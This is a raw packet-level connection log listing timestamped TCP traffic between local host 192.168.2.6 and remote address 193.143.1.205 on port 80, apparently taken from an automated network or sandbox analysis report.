Jan 11, 2025 02:15:08.997736931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997756958 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.997756958 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.997795105 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.997821093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997832060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997843981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997922897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997931957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.997963905 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.997963905 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.998013973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998024940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998035908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998047113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998058081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998069048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998090982 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.998090982 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.998300076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998301029 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.998311996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998323917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998333931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998344898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998357058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998368025 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.998368025 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.998461962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998475075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998486042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998497963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998507977 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.998507977 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.998508930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998519897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998531103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998532057 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.998543024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998579979 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.998579979 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.998667955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998776913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998779058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.998795986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998807907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998817921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998830080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998845100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998853922 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.998853922 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.998856068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998867035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998878956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.998905897 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.998905897 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.999172926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999186993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999198914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999209881 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999219894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999257088 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.999257088 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.999257088 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.999272108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999280930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999285936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999291897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999296904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999304056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999344110 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.999372959 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.999572039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999583960 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999594927 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999605894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999617100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999629021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999640942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999645948 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.999646902 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.999650955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999664068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999674082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999686956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999706984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.999706984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.999706984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.999845982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999928951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999941111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999952078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.999979973 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.999979973 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.031708002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.031743050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.031793118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.031841040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.031851053 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.031851053 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.031874895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.031903982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.031925917 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.032018900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.032051086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.032083988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.032114983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.032124043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.032124043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.032165051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.032290936 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.049629927 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.049658060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.049670935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.049683094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.049704075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.049716949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.049725056 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.049784899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.049796104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.049798965 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.049808025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.049818039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.049861908 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.049861908 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.049890041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.049901962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.049913883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.049942017 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.050013065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.050024986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.050040007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.050095081 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.050122023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.050133944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.050144911 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.050146103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.050164938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.050228119 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.050251961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.050261974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.050273895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.050309896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.083789110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.083806992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.083827019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.083846092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.083857059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.083869934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.083879948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.083887100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.083898067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.083937883 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.083957911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.083971024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084012032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084019899 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.084019899 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.084022999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084034920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084045887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084055901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084076881 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.084076881 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.084119081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084187984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084197998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084208965 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.084235907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084245920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084252119 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.084286928 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.084292889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084304094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084376097 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.084389925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084402084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084414005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084425926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084434986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084445953 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.084542036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084543943 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.084553003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084563971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084574938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084597111 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.084665060 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.084681034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084692001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084702969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084717035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084734917 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.084734917 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.084835052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084846020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084857941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084870100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084881067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.084883928 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.084922075 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.084933043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.085002899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085015059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085026026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085037947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085048914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085052013 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.085241079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085253954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085266113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085277081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085290909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085293055 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.085293055 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.085308075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085333109 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.085333109 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.085361004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085413933 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.085450888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085463047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085472107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085483074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085495949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085508108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085527897 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.085527897 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.085611105 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.085711956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085724115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085735083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085746050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085758924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085771084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085799932 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.085799932 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.085832119 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.085948944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085961103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085972071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.085983038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.086000919 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.086040974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.086042881 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.086052895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.086065054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.086111069 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.088829994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.088854074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.088866949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.088880062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.088881969 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.088893890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.088917971 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.088968039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.088979959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.088990927 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.089004040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.089010000 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.089010000 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.089091063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.089103937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.089109898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.089116096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.089195013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.089205980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.089217901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.089229107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.089236021 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.089236021 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.089240074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.089251995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.089302063 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.089575052 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.118659973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.118696928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.118705988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.118712902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.118717909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.118726015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.118730068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.118858099 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.341696024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.342046022 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.356137037 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.361150980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361196041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361216068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361227036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361241102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361253023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361291885 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.361323118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.361325979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361337900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361350060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361362934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361418009 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.361418009 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.361502886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361515999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361526966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361538887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361550093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361562967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361573935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361579895 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.361579895 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.361587048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361624956 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.361624956 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.361859083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361871004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361881971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361895084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361908913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361918926 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.361922979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361931086 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.361937046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361948967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361960888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361967087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.361972094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361984968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.361991882 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.361995935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.362009048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.362044096 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.362044096 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.362324953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.362338066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.362351894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.362364054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.362375975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:09.362396955 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.362396955 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.362412930 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:09.587248087 CET	49710	80	192.168.2.6	193.143.1.205
